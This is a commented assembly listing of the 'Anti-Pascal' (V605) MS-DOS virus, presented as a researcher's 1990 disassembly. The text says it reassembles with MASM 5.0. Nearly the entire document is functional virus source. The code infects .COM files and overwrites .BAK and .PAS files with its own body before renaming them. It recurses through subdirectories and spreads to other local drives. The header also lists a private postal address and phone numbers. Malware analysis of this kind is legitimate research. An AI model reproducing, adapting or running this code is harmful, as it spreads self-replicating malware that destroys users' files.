page ,132 name V605 title V605 - The 'Anti-Pascal' Virus .radix 16 ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 º ; º Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 º ; º º ; º The 'Anti-Pascal' Virus º ; º Disassembled by Vesselin Bontchev, June 1990 º ; º º ; º Copyright (c) Vesselin Bontchev 1989, 1990 º ; º º ; º This listing is only to be made available to virus researchers º ; º or software writers on a need-to-know basis. º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; The disassembly has been tested by re-assembly using MASM 5.0. code segment assume cs:code,ds:code org 100 vlen = v_end-start crit equ 12 start: push ax ; Save registers used push cx push si push di push bx push flen ; Save current file length ; The operand of the instruction above is used as a signature by the virus sign equ $-2 jmp v_start ; Go to virus start flen dw vlen ; File length before infection fmask db '*.' ; Mask for FindFirst/FindNext fext db 'com', 0 ; The extension part of the file mask parent db '..', 0 ; Path for changing to the parent dir com db 'com' ; File extensions used bak db 'bak' pas db 'pas' wild db '???' exe db 'exe' dta equ $ ; Disk Transfer Address area drive db ? ;Drive to search for pattern db 11d dup (?) ;Search pattern reserve db 9 dup (?) ;Not used attrib db ? ;File attribute time dw ? ;File time date dw ? ;File date fsize dd ? ;File size namez db 14d dup (?) ;File name found counter db ? mem_seg dw ? ; Segment of the allocated I/O buffer sizehld dw ? ; Size holder v_start: mov counter,2 ; Set initial counter value mov bx,1000 ; Shrink program memory size to 64 K mov ah,4A int 21 ; Do it mov ah,48 ; Allocate I/O buffer in memory mov bx,vlen/16d+1 ; (at least vlen long) int 21 ; Do it jc cleanup ; Exit on error mov mem_seg,ax ; Save the segment of the allocated memory mov ax,2524 ; Set critical error handler mov dx,offset int_24 int 21 ; Do it mov ah,1A ; Set new DTA area mov dx,offset dta int 21 ; Do it mov ah,19 ; Get default drive int 21 push ax ; Save it on stack call infect ; Proceed with infection jc cleanup ; Exit on error int 11 ; Put equipment bits in ax test ax,1 ; Diskette drives present? jz cleanup ; Exit if not (?!) shl ax,1 ; Get number of floppy disk drives shl ax,1 ; in AH (0-3 means 1-4 drives) and ah,3 add ah,2 ; Convert the number of drives to mov al,ah ; the range 2-5 and put it into BL mov bx,ax xor bh,bh cmp bl,3 ; More than 2 floppy drives? ja many ; Check if the highest one is removable if so mov bl,3 ; Otherwise check disk D: many: mov ax,4408 ; Check whether device is removable int 21 jc cleanup ; Exit on error (network) or ax,ax ; Is device removable? jz cleanup ; Exit if so mov dl,bl ; Otherwise select it as default mov ah,0E int 21 ; Do it call infect ; Proceed with this drive also cleanup: pop dx ; Restore saved default disk from stack mov ah,0E ; Set default drive int 21 ; Do it pop flen ; Restore flen mov es,mem_seg ; Free allocated memory mov ah,49 int 21 ; Do it mov ah,4A ; Get all the available memory push ds ; ES := DS pop es mov bx,-1 int 21 ; Do it mov ah,4A ; Assign it to the program (the initial state) int 21 ; Do it mov dx,80 ; Restore old DTA mov ah,1A int 21 ; Do it mov ax,2524 ; Restore old critical error handler push ds ; Save DS lds dx,dword ptr ds:[crit] int 21 ; Do it pop ds ; Restore DS pop bx ; Restore BX mov ax,4F ; Copy the program at exit_pgm into mov es,ax ; the Intra-Aplication Communication xor di,di ; Area (0000:04F0h) mov si,offset exit_pgm mov cx,pgm_end-exit_pgm ; exit_pgm length cld rep movsb ; Do it mov ax,ds ; Correct the Far JMP instruction with stosw ; the current DS value mov di,offset start ; Prepare for moving vlen bytes mov si,flen ; from file end to start add si,di mov cx,vlen push ds ; ES := DS pop es ; jmp far ptr 004F:0000 ; Go to exit_pgm db 0EA, 0, 0, 4F, 0 exit_pgm: rep movsb ; Restore the original bytes of the file pop di ; Restore registers used pop si pop cx pop ax db 0EA, 0, 1 ; JMP Far at XXXX:0100 pgm_end equ $ lseek: mov ah,42 xor cx,cx ; Offset := 0 xor dx,dx int 21 ; Do it ret ; And exit f_first: ; Find first file with extension pointed by SI mov di,offset fext ; Point DI at extension part of fmask cld ; Clear direction flag movsw ; Copy the extension pointed by SI movsb ; to file mask for FindFirst/FindNext mov ah,4E ; Find first file matching fmask mov cx,20 ; Normal files only mov dx,offset fmask ret ; Exit wr_body: mov ax,3D02 ; Open file for reading and writing mov dx,offset namez ; FIle name is in namez int 21 ; Do it mov bx,ax ; Save handle in BX mov ah,3F ; Read the first vlen bytes of the file mov cx,vlen ; in the allocated memory buffer push ds ; Save DS mov ds,mem_seg xor dx,dx int 21 ; Do it mov ax,ds:[sign-start] ; Get virus signature pop ds ; Restore DS cmp ax,word ptr ds:[offset sign] ; File already infected? je is_inf ; Exit if so push ax ; Save AX mov al,0 ; Lseek to the file beginning call lseek ; Do it mov ah,40 ; Write virus body over the mov dx,offset start ; first bytes of the file mov cx,sizehld ; Number of bytes to write int 21 ; Do it pop ax ; Restore AX dec counter ; Decrement counter clc ; CF == 0 means infection successfully done ret ; Exit is_inf: stc ; CF == 1 means file already infected ret ; Exit destroy: call f_first ; Find first file to detroy f_next1: int 21 ; Do it jc no_more1 ; Exit if no more files mov ax,word ptr fsize ; Get file size mov sizehld,ax ; And save it in sizehld call wr_body ; Write virus body over the file jc close1 ; Exit on error mov si,offset com ; Change fmask to '*.COM' call f_first ; Do it mov ah,56 ; Rename file just destroyed as a .COM one mov di,dx mov dx,offset namez ; File name to rename int 21 ; Do it ; The RENAME function call will fall if file with this name already exists. jnc close1 ; Exit if all is OK mov si,offset exe ; Otherwise try to rename the file call f_first ; as an .EXE one mov ah,56 int 21 ; Do it close1: mov ah,3E ; Close the file handle int 21 ; Do it cmp counter,0 ; Two files already infected? je stop ; Stop if so mov ah,4F ; Other wise proceed with the next file jmp f_next1 ; Here the returned error code in CF means: ; 0 - renaming unsuccessful ; 1 - renaming successful stop: clc no_more1: cmc ; Complement CF (CF := not CF) ret infect: mov si,offset com ; Find the first .COM file in this dir call f_first f_next2: int 21 ; Do it jc do_damage ; Do damage if no such files mov ax,word ptr fsize ; Check the size of the file found cmp ax,vlen ; Less than virus length? jb close2 ; Too small, don't touch cmp ax,0FFFF-vlen ; Bigger than 64 K - vlen? ja close2 ; Too big, don't touch mov flen,ax ; Save file length mov sizehld,vlen call wr_body ; Write virus body over the file jc close2 ; Exit on error cmp ax,6F43 ; ?! je close2 mov al,2 ; Lseek to file end call lseek ; Do it push ds ; Save DS mov ds,mem_seg ; Write the original bytes from mov cx,vlen ; the file beginning after its end xor dx,dx mov ah,40 int 21 ; Do it pop ds ; Restore DS close2: mov ah,3E ; Close the file handle int 21 ; Do it mov ah,4F ; Prepare for FindNext cmp counter,0 ; Two files already infected? jne f_next2 ; Continue if not stc ; Otherwise set CF to indicate error err_xit: ret ; And exit do_damage: mov si,offset bak ; Try to "infect" and rename a .BAK file call destroy ; Do it jc err_xit ; Exit if "infection" successful mov si,offset pas ; Try to "infect" and rename a .PAS file call destroy ; Do it jc err_xit ; Exit if "infection" successful mov si,offset wild ; Otherwise perform a subdirectory scan call f_first mov cx,110111b ; Find any ReadOnly/Hidden/System/Dir/Archive f_next3: int 21 ; Do it jc no_more2 ; Exit if no more mov al,attrib ; Check attributes of the file found test al,10000b ; Is it a directory? jz bad_file ; Skip it if not mov di,offset namez ; Otherwise get its name cmp byte ptr [di],'.' ; "." or ".."? je bad_file ; Skip it if so mov dx,di ; Otherwise change to that subdirectory mov ah,3Bh int 21 ; Do it mov cx,16 ; Save the 44 bytes of dta on stack mov si,offset dta ; Point SI at the first word of dta lp1: push word ptr [si] ; Push the current word add si,2 ; Point SI at the next one loop lp1 ; Loop until done call infect ; Preform infection on this subdirectory mov cx,16 ; Restore the bytes pushed mov si,offset counter-2 ; Point SI at the last word of dta lp2: pop word ptr [si] ; Pop the current word from stack sub si,2 ; Point SI at the previous word loop lp2 ; Loop until done pushf ; Save flags mov dx,offset parent mov ah,3Bh ; Change to parent directory int 21 ; Do it popf ; Restore flags jc err_xit ; Exit if infection done bad_file: mov ah,4F ; Go find the next file jmp f_next3 no_more2: clc ; Return CF == 0 (no errors) ret ; Exit int_24: ; Critical error handler mov al,2 ; Abort suggested (?!) iret ; Return v_end = $ ; Here goes the rest of the original program (if any): ; And here (after the end of file) are the overwritten first 650 bytes: db 0E9, 55, 2 db 597d dup (90) mov ax,4C00 ; Program terminate int 21 code ends end start